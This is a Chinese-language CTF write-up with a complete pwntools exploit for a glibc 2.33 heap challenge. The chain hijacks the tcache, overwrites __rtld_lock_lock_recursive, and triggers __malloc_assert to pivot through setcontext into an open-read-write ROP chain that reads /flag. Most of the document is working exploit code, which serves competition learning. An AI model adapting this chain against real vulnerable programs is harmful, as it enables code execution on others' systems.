libc 2.33,没有canary
_IO_FILE_jumps可写但是输出函数全是write实现不能触发。


edit,show,chunk_list的大小和chunk的大小分别为1,2,18,0x100

只有一次edit的情况下可以考虑打house of apple2和house of cat,改top chunk的size触发__malloc_assert刷新stderr,但是add有限制范围,不能申请libc中的指定内容,虽然有__free_hook和__malloc_hook但是写不了,并且不能申请large chunk,不能largebin attack和主动刷新IO流。

在虚表检测过程中有IO_validate_vtable->_IO_vtable_check->_dl_addr


_dl_addr里调用了 __rtld_lock_lock_recursive和 __rtld_lock_unlock_recursive,我寻思这这不是我们exit_hook吗,下次调用记得标明(,其实也没有exit_hook一说,__rtld_lock_lock_recursive和__rtld_lock_unlock_recursive是存放在_rtld_global里的函数指针,作用是多线程临界区上锁和解锁,没有加任何的保护,因此我们可以写入__rtld_lock_lock_recursive或 __rtld_lock_unlock_recursive后将stderr虚表改到一个非法位置并修改top chunk的size为非法值触发__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->_IO_XSPUTN->IO_validate_vtable->_IO_vtable_check->_dl_addr->og或setcontext进行getshell或orw。
考虑到edit只有一次并且add可以添加数据,我们可以劫持tcache结构体进行多次任意写。
泄露地址和xor_key
for x in range(8): add() for x in range(7,-1,-1): free(x) show(0) libc_base=get_addr()-0x1E0C00 ld_base=libc_base+0x1F4000 _IO_2_1_stderr_=libc_base+libc.sym["_IO_2_1_stderr_"] _rtld_global=ld_base + ld.sym['_rtld_global'] setcontext=libc_base+libc.sym["setcontext"] print(hex(libc_base)) show(7) key=((get_addr()&0xffffffffff)) heap_base=key<<0xc print(hex(heap_base))
劫持tcache结构体并伪造虚假的堆块来保证free
edit(1,p64(key^(heap_base+0xf0))) payload=b"/flag\x00\x00\x00"+p64(heap_base-0x1000)+p64(0x50)+p64(0)+p64(setcontext+61)+p64(0)*15+p64(heap_base+0x2a0) payload=payload.ljust(0xa8,b"\x00")+p64(libc_base+0x0000000000028a55+1) add(payload)#8 # rdi=_rtld_global+0x988 add(p64(0)+p64(0x111)+p64(0)+p64(heap_base+0x100))#9

下次申请会直接到heap_base+0x100处

通过不断的free和add(target)来实现任意地址申请
清空虚表,在2.29?后tcache chunk为了防止df而在bk处增加了一个key,当取出改chunk后这个会清空,用这个特性来清空stderr的vtable。
add(p64(0)+p64(_IO_2_1_stderr_+0xd0))#10 p.sendlineafter(select, b"1")

修改__rtld_lock_lock_recursive
free(10)
add(p64(0)+p64(_rtld_global+0xF90))#11
add(p64(libc_base+0x14a0a0))#12
如何找__rtld_lock_lock_recursive偏移?在给定libc中找到_dl_addr就能知道偏移了,而rdi在_rtld_global+0x988的位置也可以控制,不过setcontext在2.29后rsp有rdx确定,要用以下gadget控制rdx并跳转到setcontext+61。故__rtld_lock_lock_recursive写入以下gadget的地址即libc_base+0x14a0a0
- mov rdx, [rdi+8]
- mov [rsp+0C8h+var_C8], rax
- call qword ptr [rdx+20h]


修改top chunk的size
free(10) add(p64(0)+p64(heap_base+0xB10))#13 add(p64(0)+p64(0x123))#14
控制rdi
free(10) add(p64(0)+p64(_rtld_global+0x980))#15 add(p64(0)+p64(0)+p64(heap_base+0x3B0))#16
orw
pop_rdi=libc_base+0x0000000000028a55 pop_rsi=libc_base+0x000000000002a4cf pop_rdx=libc_base+0x00000000000c7f32 pop_rcx_rbx=libc_base+0x00000000000fc104 pop_r8 = libc_base + 0x148686 syscall= libc_base + 0x6105a pop_rax=libc_base+0x0000000000044c70 flag=heap_base+0x3B0 payload=flat([ pop_rax,2, pop_rdi,flag, pop_rsi,0, syscall, pop_rdi, heap_base-0x1000, pop_rsi, 0x1000, pop_rdx, 1, pop_rcx_rbx,1,0, pop_r8,3, libc_base+libc.sym["mmap"], pop_rdi, 1, pop_rsi, flag+8, pop_rdx, 1, libc_base + libc.sym["writev"], ])
触发__malloc_assert
add(payload)#17 gdb.attach(p,"b _dl_addr") p.sendlineafter(select, b"1")#18 #gdb.attach(proc.pidof(p)[0]) p.interactive()
完整exp
from pwn import * from pwn import p64,p32,u64,u32 context(os="linux",log_level="debug") from pwn import * import os filename="./houmt" os.system(f'chmod 777 ./{filename}') debug=1 if debug: p=process(filename) #gdb.attach(p,"b *$rebase(0x18B0)") else: p=remote("node4.anna.nssctf.cn",28564) libc=ELF("./libc.so.6") ld=ELF("./ld.so") elf=ELF(filename) context.arch=elf.arch select=b"Please input your choice > " def add(content=b""): p.sendlineafter(select, b"1") #p.sendlineafter(b"size of it", str(index).encode()) #p.sendlineafter(b"size of it", str(size).encode()) p.sendlineafter(b"Please input the content : ", content) #p.sendlineafter(b"Content: ", content) def edit(index,content): p.sendlineafter(select, b"2") p.sendlineafter(b"Please input the index : ", str(index).encode()) #p.sendlineafter(b"size of it", str(size).encode()) p.sendlineafter(b"Please input the content : ", content) def free(index): p.sendlineafter(select, b"3") p.sendlineafter(b"Please input the index : ", str(index).encode()) def show(index): p.sendlineafter(select, b"4") p.sendlineafter(b"Please input the index : ", str(index).encode()) def get_addr(): addr_list=[] addr="" for x in range(6): addr_list.append(int.from_bytes(p.recv(1))) for x in range(5,0,-1): addr_list[x-1]^=addr_list[x] for x in range(5, -1, -1): addr+=hex(addr_list[x]).replace("0x","").rjust(2,"0") return int(addr,16) for x in range(8): add() for x in range(7,-1,-1): free(x) show(0) libc_base=get_addr()-0x1E0C00 ld_base=libc_base+0x1F4000 _IO_2_1_stderr_=libc_base+libc.sym["_IO_2_1_stderr_"] _rtld_global=ld_base + ld.sym['_rtld_global'] setcontext=libc_base+libc.sym["setcontext"] print(hex(libc_base)) show(7) key=((get_addr()&0xffffffffff)) heap_base=key<<0xc print(hex(heap_base)) edit(1,p64(key^(heap_base+0xf0))) payload=b"/flag\x00\x00\x00"+p64(heap_base-0x1000)+p64(0x50)+p64(0)+p64(setcontext+61)+p64(0)*15+p64(heap_base+0x2a0) payload=payload.ljust(0xa8,b"\x00")+p64(libc_base+0x0000000000028a55+1) add(payload)#8 # rdi=_rtld_global+0x988 add(p64(0)+p64(0x111)+p64(0)+p64(heap_base+0x100))#9 add(p64(0)+p64(_IO_2_1_stderr_+0xd0))#10 p.sendlineafter(select, b"1") free(10) add(p64(0)+p64(_rtld_global+0xF90))#11 add(p64(libc_base+0x14a0a0))#12 # free(10) add(p64(0)+p64(heap_base+0xB10))#13 add(p64(0)+p64(0x123))#14 # free(10) add(p64(0)+p64(_rtld_global+0x980))#15 add(p64(0)+p64(0)+p64(heap_base+0x3B0))#16 pop_rdi=libc_base+0x0000000000028a55 pop_rsi=libc_base+0x000000000002a4cf pop_rdx=libc_base+0x00000000000c7f32 pop_rcx_rbx=libc_base+0x00000000000fc104 pop_r8 = libc_base + 0x148686 syscall= libc_base + 0x6105a pop_rax=libc_base+0x0000000000044c70 flag=heap_base+0x3B0 payload=flat([ pop_rax,2, pop_rdi,flag, pop_rsi,0, syscall, pop_rdi, heap_base-0x1000, pop_rsi, 0x1000, pop_rdx, 1, pop_rcx_rbx,1,0, pop_r8,3, libc_base+libc.sym["mmap"], pop_rdi, 1, pop_rsi, flag+8, pop_rdx, 1, libc_base + libc.sym["writev"], ]) # add(payload)#17 gdb.attach(p,"b _dl_addr") p.sendlineafter(select, b"1")#18 #gdb.attach(proc.pidof(p)[0]) p.interactive()
Comments NOTHING